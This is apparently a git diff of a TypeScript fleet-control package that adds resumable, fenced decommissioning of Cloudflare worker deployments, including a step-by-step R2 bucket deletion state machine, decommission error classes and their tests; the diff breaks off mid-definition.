boundedDecommissionAdvance, ]; const customDomain: PlainWorkerCustomDomain = { id: 'domain-id', @@ -518,9 +605,16 @@ void settlementHost; import { ActiveRouteAttestationError, CloudflareProvisioningClient, + DecommissionAdvanceCapabilityError, + DecommissionAdvanceRestartError, + DecommissionAdvanceTokenDeploymentError, + DecommissionAdvanceTokenError, + DecommissionAdvanceTokenFutureError, + DecommissionAdvanceTokenOperationError, ProcessLocalCloudflareApiRateCoordinator, ProvisioningError, WorkersForPlatformsBackend, + advanceDecommissionDeployment, attestConvergedActiveRoute, attestFleetRecordActiveRoute, deploymentSpecDigest, @@ -549,6 +643,30 @@ assert.ok(new ActiveRouteAttestationError('probe', {}) instanceof Error); assert.equal(typeof attestConvergedActiveRoute, 'function'); assert.equal(typeof attestFleetRecordActiveRoute, 'function'); assert.equal(typeof fleetSettlementKey, 'function'); +assert.equal(typeof advanceDecommissionDeployment, 'function'); +const missingCapability = new DecommissionAdvanceCapabilityError( + 'attachment-scan', +); +assert.equal(missingCapability.name, 'DecommissionAdvanceCapabilityError'); +assert.equal(missingCapability.capability, 'attachment-scan'); +assert.equal( + missingCapability.message, + 'backend cannot perform bounded decommission attachment scans', +); +const restartError = new DecommissionAdvanceRestartError(); +assert.equal(restartError.name, 'DecommissionAdvanceRestartError'); +assert.equal( + restartError.message, + 'decommission advance restart requires a current blocked operation', +); +for (const ErrorClass of [ + DecommissionAdvanceTokenDeploymentError, + DecommissionAdvanceTokenError, + DecommissionAdvanceTokenFutureError, + DecommissionAdvanceTokenOperationError, +]) { + assert.ok(new ErrorClass() instanceof Error); +} assert.equal( typeof CloudflareProvisioningClient.prototype .advanceDecommissionAttachmentScan, diff --git a/packages/fleet-control/src/application-bindings.ts b/packages/fleet-control/src/application-bindings.ts index 02cd3e8e..b26f83ac 100644 --- a/packages/fleet-control/src/application-bindings.ts +++ b/packages/fleet-control/src/application-bindings.ts @@ -399,14 +399,31 @@ export async function assertApplicationR2EmptyBeforeDecommission(options: { readonly fence: import('./types.js').ExternalMutationFence; }): Promise { if (options.resources.length === 0) return; + const findApplicationR2BucketCandidate = + options.backend.findApplicationR2Bucket; + if (typeof findApplicationR2BucketCandidate !== 'function') { + throw new Error('backend cannot preflight application R2 evacuation'); + } + const findApplicationR2Bucket = findApplicationR2BucketCandidate.bind( + options.backend, + ); + const needsEmptyAttestation = options.resources.some( + (resource) => resource.state !== 'reserved' && resource.state !== 'deleted', + ); + const assertApplicationR2EmptyCandidate = needsEmptyAttestation + ? options.backend.assertApplicationR2Empty + : undefined; if ( - !options.backend.findApplicationR2Bucket || - !options.backend.assertApplicationR2Empty + needsEmptyAttestation && + typeof assertApplicationR2EmptyCandidate !== 'function' ) { throw new Error('backend cannot preflight application R2 evacuation'); } + const assertApplicationR2Empty = assertApplicationR2EmptyCandidate?.bind( + options.backend, + ); for (const resource of options.resources) { - const live = await options.backend.findApplicationR2Bucket(resource); + const live = await findApplicationR2Bucket(resource); if (resource.state === 'reserved') { if (live) { throw new Error( @@ -430,140 +447,462 @@ export async function assertApplicationR2EmptyBeforeDecommission(options: { } assertLiveR2Identity(resource, live); await options.fence.assertOwned(); - await options.backend.assertApplicationR2Empty(resource, options.fence); + await assertApplicationR2Empty?.(resource, options.fence); } } -export async function convergeApplicationR2Deletion(options: { +/** @internal Package-private result for one application-R2 deletion step. */ +export type ApplicationR2DeletionAdvance = + | Readonly<{ + status: 'complete'; + resources: readonly ApplicationR2Resource[]; + }> + | Readonly<{ + status: 'detachment-required'; + resourceIndex: number; + resource: ApplicationR2Resource & { + readonly state: 'detach-authorized'; + readonly creationDate: string; + }; + resources: readonly ApplicationR2Resource[]; + }> + | Readonly<{ + status: 'resource-advanced'; + resourceIndex: number; + resources: readonly ApplicationR2Resource[]; + }>; + +function replaceApplicationR2Resource( + resources: readonly ApplicationR2Resource[], + index: number, + resource: ApplicationR2Resource, +): readonly ApplicationR2Resource[] { + return resources.map((current, currentIndex) => + currentIndex === index ? resource : current, + ); +} + +function invalidApplicationR2DeletionStart(): Error { + return new Error('application R2 deletion start index is invalid'); +} + +function invalidApplicationR2DetachmentProof(): Error { + return new Error('application R2 detachment proof is invalid'); +} + +/** @internal Advances at most one application-R2 resource state or mutation. */ +export async function advanceApplicationR2Deletion(options: { + readonly spec: Pick< + DeploymentSpec, + 'tenantTag' | 'environment' | 'scriptName' | 'databaseName' + >; readonly resources: readonly ApplicationR2Resource[]; readonly backend: ApplicationR2LifecycleBackend; readonly fence: import('./types.js').ExternalMutationFence; - readonly persist: ( - resources: readonly ApplicationR2Resource[], - ) => Promise; -}): Promise { - if (options.resources.length === 0) return []; - const backend = options.backend; + readonly startResourceIndex?: number; + readonly verifiedDetachmentResourceIndex?: number; +}): Promise { + const resources = [...options.resources]; + const startResourceIndex = options.startResourceIndex ?? 0; if ( - !backend.findApplicationR2Bucket || - !backend.assertApplicationR2Detached || - !backend.assertApplicationR2Empty || - !backend.deleteApplicationR2Bucket + !Number.isSafeInteger(startResourceIndex) || + startResourceIndex < 0 || + startResourceIndex > resources.length ) { - throw new Error('backend cannot safely delete application R2 resources'); + throw invalidApplicationR2DeletionStart(); } - let resources = [...options.resources]; - const persistState = async ( - index: number, - resource: ApplicationR2Resource, - ): Promise => { - resources = resources.map((current, currentIndex) => - currentIndex === index ? resource : current, - ); - await options.persist(resources); + const verifiedDetachmentResourceIndex = + options.verifiedDetachmentResourceIndex; + if ( + verifiedDetachmentResourceIndex !== undefined && + (!Number.isSafeInteger(verifiedDetachmentResourceIndex) || + verifiedDetachmentResourceIndex < startResourceIndex || + verifiedDetachmentResourceIndex >= resources.length) + ) { + throw invalidApplicationR2DetachmentProof(); + } + let find: + | NonNullable + | undefined; + let findRead = false; + const requireFind = () => { + if (!findRead) { + findRead = true; + const candidate = options.backend.findApplicationR2Bucket; + if (typeof candidate === 'function') { + find = candidate.bind(options.backend); + } + } + if (!find) { + throw new Error('backend cannot inspect application R2 resources'); + } + return find; }; - for (let index = 0; index < resources.length; index += 1) { - let resource = resources[index] as ApplicationR2Resource; + let assertEmpty: + | NonNullable + | undefined; + let assertEmptyRead = false; + const requireAssertEmpty = () => { + if (!assertEmptyRead) { + assertEmptyRead = true; + const candidate = options.backend.assertApplicationR2Empty; + if (typeof candidate === 'function') { + assertEmpty = candidate.bind(options.backend); + } + } + if (!assertEmpty) { + throw new Error('backend cannot attest application R2 emptiness'); + } + return assertEmpty; + }; + let deleteBucket: + | NonNullable + | undefined; + let deleteBucketRead = false; + const requireDeleteBucket = () => { + if (!deleteBucketRead) { + deleteBucketRead = true; + const candidate = options.backend.deleteApplicationR2Bucket; + if (typeof candidate === 'function') { + deleteBucket = candidate.bind(options.backend); + } + } + if (!deleteBucket) { + throw new Error('backend cannot delete application R2 resources'); + } + return deleteBucket; + }; + if (startResourceIndex === resources.length) { + return { status: 'complete', resources }; + } + + let index = startResourceIndex; + for (; index < resources.length; index += 1) { + const resource = resources[index] as ApplicationR2Resource; + assertApplicationR2ReservationIdentity(options.spec, resource); if (resource.state === 'reserved') { - if (await backend.findApplicationR2Bucket(resource)) { + if (await requireFind()(resource)) { throw new Error( `refusing to delete pre-existing R2 bucket '${resource.bucketName}' from an unauthorized reservation`, ); } continue; } - if (resource.state === 'create-authorized') { - const live = await backend.findApplicationR2Bucket(resource); - if (!live) { - resource = { ...resource, state: 'delete-authorized' }; - await persistState(index, resource); - } else { - assertLiveR2Identity(resource, live); - resource = { - ...resource, - state: 'created', - creationDate: live.creationDate, - }; - await persistState(index, resource); - } - } if (resource.state === 'deleted') { - if (await backend.findApplicationR2Bucket(resource)) { + if (await requireFind()(resource)) { throw new Error( `R2 bucket '${resource.bucketName}' reappeared after deletion`, ); } continue; } - if ( - resource.state === 'created' || - resource.state === 'detach-authorized' - ) { - const live = await backend.findApplicationR2Bucket(resource); - if (!live) { - throw new Error( - `R2 bucket '${resource.bucketName}' disappeared before delete authorization`, - ); + break; + } + + if (index === resources.length) { + if (verifiedDetachmentResourceIndex !== undefined) { + throw invalidApplicationR2DetachmentProof(); + } + return { status: 'complete', resources }; + } + + let resource = resources[index] as ApplicationR2Resource; + if ( + verifiedDetachmentResourceIndex !== undefined && + (verifiedDetachmentResourceIndex !== index || + resource.state !== 'detach-authorized') + ) { + throw invalidApplicationR2DetachmentProof(); + } + + if (resource.state === 'create-authorized') { + const live = await requireFind()(resource); + if (live) assertLiveR2Identity(resource, live); + resource = live + ? { + ...resource, + state: 'created' as const, + creationDate: live.creationDate, + } + : { ...resource, state: 'delete-authorized' as const }; + return { + status: 'resource-advanced', + resourceIndex: index, + resources: replaceApplicationR2Resource(resources, index, resource), + }; + } + + if (resource.state === 'created') { + const live = await requireFind()(resource); + if (!live) { + throw new Error( + `R2 bucket '${resource.bucketName}' disappeared before delete authorization`, + ); + } + assertLiveR2Identity(resource, live); + const detachAuthorized = { + ...resource, + state: 'detach-authorized' as const, + creationDate: resource.creationDate ?? live.creationDate, + }; + return { + status: 'detachment-required', + resourceIndex: index, + resource: detachAuthorized, + resources: replaceApplicationR2Resource( + resources, + index, + detachAuthorized, + ), + }; + } + + if (resource.state === 'detach-authorized') { + if (verifiedDetachmentResourceIndex === index) { + if (resource.creationDate === undefined) { + throw invalidApplicationR2DetachmentProof(); } - assertLiveR2Identity(resource, live); - if (resource.state === 'created') { - resource = { ...resource, state: 'detach-authorized' }; - await persistState(index, resource); + return { + status: 'resource-advanced', + resourceIndex: index, + resources: replaceApplicationR2Resource(resources, index, { + ...resource, + state: 'detached', + }), + }; + } + const live = await requireFind()(resource); + if (!live) { + throw new Error( + `R2 bucket '${resource.bucketName}' disappeared before delete authorization`, + ); + } + assertLiveR2Identity(resource, live); + const detachAuthorized = { + ...resource, + state: 'detach-authorized' as const, + creationDate: resource.creationDate ?? live.creationDate, + }; + return { + status: 'detachment-required', + resourceIndex: index, + resource: detachAuthorized, + resources: replaceApplicationR2Resource( + resources, + index, + detachAuthorized, + ), + }; + } + + if (resource.state === 'detached') { + const live = await requireFind()(resource); + if (!live) { + throw new Error( + `R2 bucket '${resource.bucketName}' disappeared before delete authorization`, + ); + } + assertLiveR2Identity(resource, live); + return { + status: 'resource-advanced', + resourceIndex: index, + resources: replaceApplicationR2Resource(resources, index, { + ...resource, + state: 'empty-authorized', + creationDate: resource.creationDate ?? live.creationDate, + }), + }; + } + + if (resource.state === 'empty-authorized') { + const live = await requireFind()(resource); + if (!live) { + throw new Error( + `R2 bucket '${resource.bucketName}' disappeared before delete authorization`, + ); + } + assertLiveR2Identity(resource, live); + await options.fence.assertOwned(); + await requireAssertEmpty()(resource, options.fence); + return { + status: 'resource-advanced', + resourceIndex: index, + resources: replaceApplicationR2Resource(resources, index, { + ...resource, + state: 'empty', + creationDate: resource.creationDate ?? live.creationDate, + }), + }; + } + + if (resource.state === 'empty') { + return { + status: 'resource-advanced', + resourceIndex: index, + resources: replaceApplicationR2Resource(resources, index, { + ...resource, + state: 'delete-authorized', + }), + }; + } + + if (resource.state !== 'delete-authorized') { + throw new Error('application R2 deletion has invalid persisted progress'); + } + + const findBucket = requireFind(); + const live = await findBucket(resource); + if (!live) { + return { + status: 'resource-advanced', + resourceIndex: index, + resources: replaceApplicationR2Resource(resources, index, { + ...resource, + state: 'deleted', + }), + }; + } + assertLiveR2Identity(resource, live); + if (resource.creationDate === undefined) { + return { + status: 'resource-advanced', + resourceIndex: index, + resources: replaceApplicationR2Resource(resources, index, { + ...resource, + creationDate: live.creationDate, + }), + }; + } + await options.fence.assertOwned(); + try { + await requireDeleteBucket()(resource, options.fence); + } catch (error) { + if (await findBucket(resource)) throw error; + return { + status: 'resource-advanced', + resourceIndex: index, + resources: replaceApplicationR2Resource(resources, index, { + ...resource, + state: 'deleted', + }), + }; + } + if (await findBucket(resource)) { + throw new Error( + `R2 bucket '${resource.bucketName}' remains after deletion`, + ); + } + return { + status: 'resource-advanced', + resourceIndex: index, + resources: replaceApplicationR2Resource(resources, index, { + ...resource, + state: 'deleted', + }), + }; +} + +export async function convergeApplicationR2Deletion(options: { + readonly spec: Pick< + DeploymentSpec, + 'tenantTag' | 'environment' | 'scriptName' | 'databaseName' + >; + readonly resources: readonly ApplicationR2Resource[]; + readonly backend: ApplicationR2LifecycleBackend; + readonly fence: import('./types.js').ExternalMutationFence; + readonly persist: ( + resources: readonly ApplicationR2Resource[], + ) => Promise; +}): Promise { + if (options.resources.length === 0) return []; + const findApplicationR2BucketCandidate = + options.backend.findApplicationR2Bucket; + const assertApplicationR2DetachedCandidate = + options.backend.assertApplicationR2Detached; + const assertApplicationR2EmptyCandidate = + options.backend.assertApplicationR2Empty; + const deleteApplicationR2BucketCandidate = + options.backend.deleteApplicationR2Bucket; + if ( + typeof findApplicationR2BucketCandidate !== 'function' || + typeof assertApplicationR2DetachedCandidate !== 'function' || + typeof assertApplicationR2EmptyCandidate !== 'function' || + typeof deleteApplicationR2BucketCandidate !== 'function' + ) { + throw new Error('backend cannot safely delete application R2 resources'); + } + const backend = { + findApplicationR2Bucket: findApplicationR2BucketCandidate.bind( + options.backend, + ), + assertApplicationR2Detached: assertApplicationR2DetachedCandidate.bind( + options.backend, + ), + assertApplicationR2Empty: assertApplicationR2EmptyCandidate.bind( + options.backend, + ), + deleteApplicationR2Bucket: deleteApplicationR2BucketCandidate.bind( + options.backend, + ), + }; + let resources = [...options.resources]; + let startResourceIndex = 0; + for (;;) { + const result = await advanceApplicationR2Deletion({ + spec: options.spec, + resources, + backend, + fence: options.fence, + startResourceIndex, + }); + if (result.status === 'complete') return result.resources; + + if (result.status === 'detachment-required') { + if ( + result.resources[result.resourceIndex] !== + resources[result.resourceIndex] + ) { + resources = [...result.resources]; + await options.persist(resources); + } else { + resources = [...result.resources]; } await options.fence.assertOwned(); - await backend.assertApplicationR2Detached(resource, options.fence); - resource = { ...resource, state: 'detached' }; - await persistState(index, resource); + await backend.assertApplicationR2Detached(result.resource, options.fence); + startResourceIndex = result.resourceIndex; + const verified = await advanceApplicationR2Deletion({ + spec: options.spec, + resources, + backend, + fence: options.fence, + startResourceIndex, + verifiedDetachmentResourceIndex: result.resourceIndex, + }); + if ( + verified.status !== 'resource-advanced' || + verified.resourceIndex !== result.resourceIndex || + verified.resources[result.resourceIndex]?.state !== 'detached' + ) { + throw invalidApplicationR2DetachmentProof(); + } + resources = [...verified.resources]; + await options.persist(resources); + startResourceIndex = verified.resourceIndex; + continue; } + + resources = [...result.resources]; + await options.persist(resources); if ( - resource.state === 'detached' || - resource.state === 'empty-authorized' + ['reserved', 'deleted'].includes( + resources[result.resourceIndex]?.state ?? '', + ) ) { - const live = await backend.findApplicationR2Bucket(resource); - if (!live) { - throw new Error( - `R2 bucket '${resource.bucketName}' disappeared before delete authorization`, - ); - } - assertLiveR2Identity(resource, live); - if (resource.state === 'detached') { - resource = { ...resource, state: 'empty-authorized' }; - await persistState(index, resource); - } - await options.fence.assertOwned(); - await backend.assertApplicationR2Empty(resource, options.fence); - resource = { ...resource, state: 'empty' }; - await persistState(index, resource); - } - if (resource.state === 'empty' || resource.state === 'delete-authorized') { - if (resource.state === 'empty') { - resource = { ...resource, state: 'delete-authorized' }; - await persistState(index, resource); - await options.fence.assertOwned(); - } - const live = await backend.findApplicationR2Bucket(resource); - if (live) { - if (resource.creationDate === undefined) { - resource = { ...resource, creationDate: live.creationDate }; - await persistState(index, resource); - } - assertLiveR2Identity(resource, live); - try { - await backend.deleteApplicationR2Bucket(resource, options.fence); - } catch (error) { - if (await backend.findApplicationR2Bucket(resource)) throw error; - } - } - if (await backend.findApplicationR2Bucket(resource)) { - throw new Error( - `R2 bucket '${resource.bucketName}' remains after deletion`, - ); - } - resource = { ...resource, state: 'deleted' }; - await persistState(index, resource); + startResourceIndex = result.resourceIndex + 1; + } else { + startResourceIndex = result.resourceIndex; } } - return resources; } function comparableR2Bindings( diff --git a/packages/fleet-control/src/backend-switch.ts b/packages/fleet-control/src/backend-switch.ts index d35b1b38..69ac7b9a 100644 --- a/packages/fleet-control/src/backend-switch.ts +++ b/packages/fleet-control/src/backend-switch.ts @@ -2566,6 +2566,7 @@ export async function decommissionBackendSwitch(options: { let r2Intent: BackendSwitchIntent = intent; await convergeApplicationR2Deletion({ + spec: options.targetSpec, resources: applicationR2Progress.map(({ resource, subphase }) => ({ ...resource, state: subphase, diff --git a/packages/fleet-control/src/cloudflare-worker-attachment-scan-state.ts b/packages/fleet-control/src/cloudflare-worker-attachment-scan-state.ts index 0f2af1cb..b86f62aa 100644 --- a/packages/fleet-control/src/cloudflare-worker-attachment-scan-state.ts +++ b/packages/fleet-control/src/cloudflare-worker-attachment-scan-state.ts @@ -14,6 +14,15 @@ const PLAIN_DATA_NODE_BOUND = 8_192; const SHA256_PATTERN = /^[0-9a-f]{64}$/; export const WORKER_ATTACHMENT_EMPTY_MULTISET_SUM256 = '0'.repeat(64); +/** @internal Package-private request-budget validation shared by the scanner and lifecycle. */ +export function assertWorkerAttachmentProviderRequestBudget( + value: number, +): void { + if (!Number.isSafeInteger(value) || value < 9 || value > 1_000) { + throw new Error('maxProviderRequests must be an integer from 9 to 1000'); + } +} + export type WorkerAttachmentScanTarget = | Readonly<{ kind: 'd1'; databaseId: string }> | Readonly<{ kind: 'r2'; bucketName: string }>; diff --git a/packages/fleet-control/src/cloudflare-worker-attachment-scan.ts b/packages/fleet-control/src/cloudflare-worker-attachment-scan.ts index f7ba6ed3..f496684f 100644 --- a/packages/fleet-control/src/cloudflare-worker-attachment-scan.ts +++ b/packages/fleet-control/src/cloudflare-worker-attachment-scan.ts @@ -8,6 +8,7 @@ import { import type { CloudflareSdk } from './cloudflare-ordinary-worker-operations.js'; import { isNotFound } from './cloudflare-provider-errors.js'; import { + assertWorkerAttachmentProviderRequestBudget, WORKER_ATTACHMENT_CURSOR_BYTE_BOUND as CURSOR_BYTE_BOUND, WORKER_ATTACHMENT_DISPATCH_PAGE_BOUND as DISPATCH_PAGE_BOUND, WORKER_ATTACHMENT_DISPATCH_PAGE_SIZE as DISPATCH_PAGE_SIZE, @@ -73,9 +74,7 @@ class ProviderFetchBudget { #reserved = 0; constructor(maximum: number) { - if (!Number.isSafeInteger(maximum) || maximum < 9 || maximum > 1_000) { - throw new Error('maxProviderRequests must be an integer from 9 to 1000'); - } + assertWorkerAttachmentProviderRequestBudget(maximum); this.#maximum = maximum; } diff --git a/packages/fleet-control/src/decommission-advance.ts b/packages/fleet-control/src/decommission-advance.ts new file mode 100644 index 00000000..cdf26c9b --- /dev/null +++ b/packages/fleet-control/src/decommission-advance.ts @@ -0,0 +1,1515 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { PENDING_ARTIFACT_VERSION } from './active-route.js'; +import { + advanceApplicationR2Deletion, + applicationBindingTopology, + applicationR2Bindings, + assertApplicationR2EmptyBeforeDecommission, + assertApplicationR2ReservationIdentity, +} from './application-bindings.js'; +import { + assertWorkerAttachmentProviderRequestBudget, + initialWorkerAttachmentScan, + parseWorkerAttachmentScanProgress, + WORKER_ATTACHMENT_EVIDENCE_BOUND, +} from './cloudflare-worker-attachment-scan-state.js'; +import { + classifyDecommissionAdvanceToken, + DecommissionAdvanceTokenDeploymentError, + DecommissionAdvanceTokenOperationError, + normalizeDecommissionAdvanceIntent, + parseDecommissionAdvanceToken, +} from './decommission-intent.js'; +import { deploymentSpecDigest } from './spec-digest.js'; +import { cloneBoundedPlainData } from './strict-plain-data.js'; +import type { + ApplicationR2Resource, + DatabaseReference, + DecommissionAdvanceIntent, + DecommissionAdvanceToken, + DecommissionAttachmentProgress, + DecommissionAttachmentPurpose, + DecommissionAttachmentScanEvidence, + DecommissionBlockedAttachment, + DecommissionResult, + DeploymentSpec, + ExternalMutationFence, + ExternalReleaseSnapshot, + FleetRecord, + FleetStateLease, + FleetStateStore, + NormalDecommissionLifecyclePhase, + ProvisioningBackend, +} from './types.js'; +import { effectiveLifecyclePhase } from './types.js'; +import { validateDeploymentSpec } from './validation.js'; + +const ACTION_ERROR = 'decommission advance action is malformed'; +const RESULT_ERROR = 'bounded decommission attachment result is malformed'; +const ATTACHMENT_STRING_BYTE_BOUND = 4_096; +const RESULT_PLAIN_DATA_DEPTH_BOUND = 64; +const RESULT_PLAIN_DATA_NODE_BOUND = 8_192; +const RESULT_PLAIN_DATA_BYTE_BOUND = 96 * 1_024; +const NORMAL_ENTRY_PHASES = new Set([ + 'publishing', + 'ready', + 'migrating', + 'rolling-back', + 'decommissioning', + 'traffic-removed', + 'credentials-revoked', + 'worker-deleted', + 'platform-credentials-revoked', + 'platform-resources-deleted', + 'application-resources-deleting', + 'application-resources-deleted', +]); + +/** Caller command for one bounded normal-decommission invocation. */ +export type DecommissionAdvanceAction = + | Readonly<{ + /** Create a new operation, or read an existing operation's authority. */ + kind: 'start'; + }> + | Readonly<{ + /** Advance a strictly parsed current token; stale returns current state. */ + kind: 'continue'; + token: unknown; + }> + | Readonly<{ + /** Explicitly restart an exact current blocked operation. */ + kind: 'restart-blocked'; + token: unknown; + }>; + +/** Inputs for one lease-scoped bounded action group. */ +export interface AdvanceDecommissionDeploymentOptions { + readonly backend: ProvisioningBackend; + readonly store: FleetStateStore; + readonly spec: DeploymentSpec; + /** Typed command; its token remains an unknown strict-codec boundary. */ + readonly action: DecommissionAdvanceAction; + /** R1 provider-attempt budget, integer 9..1,000. */ + readonly maxProviderRequests: number; + /** Call-local cancellation, never persisted. */ + readonly signal?: AbortSignal; + /** Timestamp source; called once for each accepted write. */ + readonly clock?: () => number; + /** Called exactly once only when a genuinely new operation starts. */ + readonly randomUUID: () => string; +} + +/** Authoritative durable outcome after at most one bounded group. */ +export type DecommissionAdvanceResult = + | Readonly<{ + /** More work remains; the token, not this status, is continuation input. */ + status: 'pending'; + token: DecommissionAdvanceToken; + }> + | Readonly<{ + /** Provider attachment blocks deletion until explicit restart. */ + status: 'blocked'; + token: DecommissionAdvanceToken; + purpose: DecommissionAttachmentPurpose; + attachment: DecommissionBlockedAttachment; + }> + | Readonly<{ + /** Evidence-free terminal receipt with durable export result. */ + status: 'complete'; + token: DecommissionAdvanceToken; + result: DecommissionResult; + }>; + +/** Named backend capability whose absence makes work fail closed. */ +export type DecommissionAdvanceCapability = + | 'attachment-scan' + | 'database-residuals' + | 'application-r2-inspection' + | 'application-r2-empty' + | 'application-r2-delete'; + +const CAPABILITY_MESSAGES: Readonly< + Record +> = Object.freeze({ + 'attachment-scan': + 'backend cannot perform bounded decommission attachment scans', + 'database-residuals': 'backend cannot inspect database deletion residuals', + 'application-r2-inspection': + 'backend cannot inspect application R2 resources', + 'application-r2-empty': 'backend cannot attest application R2 emptiness', + 'application-r2-delete': 'backend cannot delete application R2 resources', +}); + +/** Fixed configuration refusal for one missing bounded capability. */ +export class DecommissionAdvanceCapabilityError extends Error { + constructor(readonly capability: DecommissionAdvanceCapability) { + super(CAPABILITY_MESSAGES[capability]); + this.name = 'DecommissionAdvanceCapabilityError'; + } +} + +/** Refusal for restart without an exact current blocked operation. */ +export class DecommissionAdvanceRestartError extends Error { + constructor() { + super('decommission advance restart requires a current blocked operation'); + this.name = 'DecommissionAdvanceRestartError'; + } +} + +function malformedAction(): never { + throw new Error(ACTION_ERROR); +} + +/** @internal Descriptor-safe Queue-action boundary. */ +export function decommissionAdvanceActionFromUnknown( + value: unknown, +): DecommissionAdvanceAction { + let plain: unknown; + try { + plain = cloneBoundedPlainData(value, { + maxDepth: 8, + maxNodes: 32, + maxScalarBytes: 2_048, + maxSerializedBytes: 2_048, + error: () => new Error(ACTION_ERROR), + }); + } catch { + return malformedAction(); + } + if (!plain || typeof plain !== 'object' || Array.isArray(plain)) { + return malformedAction(); + } + const candidate = plain as Record; + const keys = Object.keys(candidate).sort(); + if (candidate.kind === 'start' && keys.length === 1 && keys[0] === 'kind') { + return { kind: 'start' }; + } + if ( + (candidate.kind === 'continue' || candidate.kind === 'restart-blocked') && + keys.length === 2 && + keys[0] === 'kind' && + keys[1] === 'token' + ) { + return { kind: candidate.kind, token: candidate.token }; + } + return malformedAction(); +} + +/** @internal Persisted active release used by both legacy and bounded teardown. */ +export function activeExternalRelease( + record: FleetRecord, +): ExternalReleaseSnapshot | undefined { + return ( + record.activeRelease ?? + (record.backend === 'plain-worker' && + record.artifactVersion !== PENDING_ARTIFACT_VERSION + ? { + physicalScriptName: record.scriptName, + specDigest: record.desiredSpecDigest, + artifactVersion: record.artifactVersion, + releaseSchemaVersion: record.schemaVersion, + application: record.applicationBindings ?? { + vars: [], + secrets: [], + r2Buckets: [], + }, + } + : undefined) + ); +} + +/** @internal Persisted non-active releases used by teardown ownership checks. */ +export function retainedExternalReleases( + record: FleetRecord, +): readonly ExternalReleaseSnapshot[] { + const active = activeExternalRelease(record); + const releases = [ + record.pendingRelease, + ...(record.backend === 'plain-worker' && + record.pendingArtifactVersion && + record.pendingSpecDigest + ? [ + { + physicalScriptName: record.scriptName, + specDigest: record.pendingSpecDigest, + artifactVersion: record.pendingArtifactVersion, + releaseSchemaVersion: record.schemaVersion, + }, + ] + : []), + record.rollbackRelease, + record.retiringRelease, + record.migrationPriorRelease, + ].filter( + (release): release is ExternalReleaseSnapshot => + release !== undefined && + (record.backend === 'plain-worker' + ? release.artifactVersion !== active?.artifactVersion + : release.physicalScriptName !== active?.physicalScriptName), + ); + return releases.filter( + (release, index) => + releases.findIndex( + (candidate) => + (record.backend === 'plain-worker' + ? candidate.artifactVersion + : candidate.physicalScriptName) === + (record.backend === 'plain-worker' + ? release.artifactVersion + : release.physicalScriptName), + ) === index, + ); +} + +/** @internal Immutable deployment mapping shared with provisioning. */ +export function assertImmutableDeploymentMapping( + prior: FleetRecord, + backend: ProvisioningBackend, + spec: DeploymentSpec, +): void { + applicationR2Bindings(spec, prior.applicationResources ?? []); + if ( + prior.tenantTag !== spec.tenantTag || + prior.environment !== spec.environment || + prior.backend !== backend.kind || + prior.scriptName !== spec.scriptName || + prior.databaseName !== spec.databaseName || + prior.routeHostname !== spec.routeHostname + ) { + throw new Error( + `deployment '${spec.tenantTag}:${spec.environment}' already exists with a different immutable resource mapping`, + ); + } + if ( + prior.schemaVersion > spec.schemaVersion && + !( + backend.immutableExternalArtifacts === true && + spec.authoredBy === 'external' && + prior.activeRelease?.releaseSchemaVersion === spec.schemaVersion + ) + ) { + throw new Error('provisioning refuses a schema downgrade'); + } + const phase = effectiveLifecyclePhase(prior); + if ( + phase !== 'ready' && + phase !== 'rolling-back' && + (phase === 'migrating' + ? (prior.migrationIntent?.targetSpecDigest ?? + prior.pendingRelease?.specDigest ?? + prior.pendingSpecDigest) + : prior.desiredSpecDigest) !== deploymentSpecDigest(spec) + ) { + throw new Error( + `deployment '${spec.tenantTag}:${spec.environment}' retry uses a different desired specification`, + ); + } +} + +/** @internal Exact persisted-D1 reconciliation shared with provisioning. */ +export async function reconcilePersistedDatabase( + backend: ProvisioningBackend, + record: Pick, + allowAbsent: boolean, + fence: ExternalMutationFence, + requireOwner = true, +): Promise<(DatabaseReference & { readonly created: false }) | undefined> { + const database = await backend.getDatabase(record.databaseId); + if (!database) { + if (allowAbsent) return undefined; + throw new Error(`persisted database '${record.databaseId}' is absent`); + } + if ( + database.id !== record.databaseId || + database.name !== record.databaseName + ) { + throw new Error( + `persisted database '${record.databaseId}' resolved with unexpected identity '${database.id}:${database.name}'`, + ); + } + if (requireOwner) { + const owner = await backend.readDeploymentIdentity(database, fence); + if (owner !== record.tenantTag) { + throw new Error( + `refusing database operation for '${database.id}' owned by '${owner ?? 'no deployment'}'`, + ); + } + } + return { id: database.id, name: database.name, created: false }; +} + +function requireCapability( + available: unknown, + capability: DecommissionAdvanceCapability, +): asserts available is (...arguments_: never[]) => unknown { + if (typeof available !== 'function') { + throw new DecommissionAdvanceCapabilityError(capability); + } +} + +function requiredCapability( + available: Value, + capability: DecommissionAdvanceCapability, +): NonNullable { + requireCapability(available, capability); + return available as NonNullable; +} + +function tokenFor(record: FleetRecord): DecommissionAdvanceToken { + const intent = record.decommissionIntent; + if (!intent) throw new DecommissionAdvanceTokenOperationError(); + return { + version: 1, + tenantTag: record.tenantTag, + environment: record.environment, + operationId: intent.operationId, + revision: intent.revision, + }; +} + +function authoritativeResult(record: FleetRecord): DecommissionAdvanceResult { + const intent = record.decommissionIntent; + if (!intent) throw new DecommissionAdvanceTokenOperationError(); + const token = tokenFor(record); + if (intent.state === 'blocked') { + return { + status: 'blocked', + token, + purpose: intent.purpose, + attachment: intent.attachment, + }; + } + if (intent.state === 'complete') { + return { + status: 'complete', + token, + result: { + record, + databaseExport: { + databaseId: record.databaseId, + location: record.databaseExportLocation as string, + sha256: record.databaseExportSha256 as string, + size: record.databaseExportSize as number, + }, + }, + }; + } + return { status: 'pending', token }; +} + +function omitIntent( + record: FleetRecord, +): Omit { + const { decommissionIntent: _intent, ...source } = record; + return source; +} + +function normalizeIntent( + intent: DecommissionAdvanceIntent, + record: FleetRecord, +): DecommissionAdvanceIntent { + return normalizeDecommissionAdvanceIntent(intent, omitIntent(record)); +} + +async function writeIntent( + lease: FleetStateLease, + record: FleetRecord, + intent: DecommissionAdvanceIntent, +): Promise { + const normalized = normalizeIntent(intent, record); + const next: FleetRecord = { + ...omitIntent(record), + decommissionIntent: normalized, + }; + await lease.put(next); + return next; +} + +type IntentTransition = + | Readonly<{ + state: 'transitioning'; + generation?: number; + lifecyclePhase?: NormalDecommissionLifecyclePhase; + }> + | Readonly<{ + state: 'discover'; + purpose: DecommissionAttachmentPurpose; + progress: DecommissionAttachmentProgress; + generation?: number; + lifecyclePhase?: NormalDecommissionLifecyclePhase; + }> + | Readonly<{ + state: 'verify'; + purpose: DecommissionAttachmentPurpose; + progress: DecommissionAttachmentProgress; + discoverEvidence: DecommissionAttachmentScanEvidence; + generation?: number; + 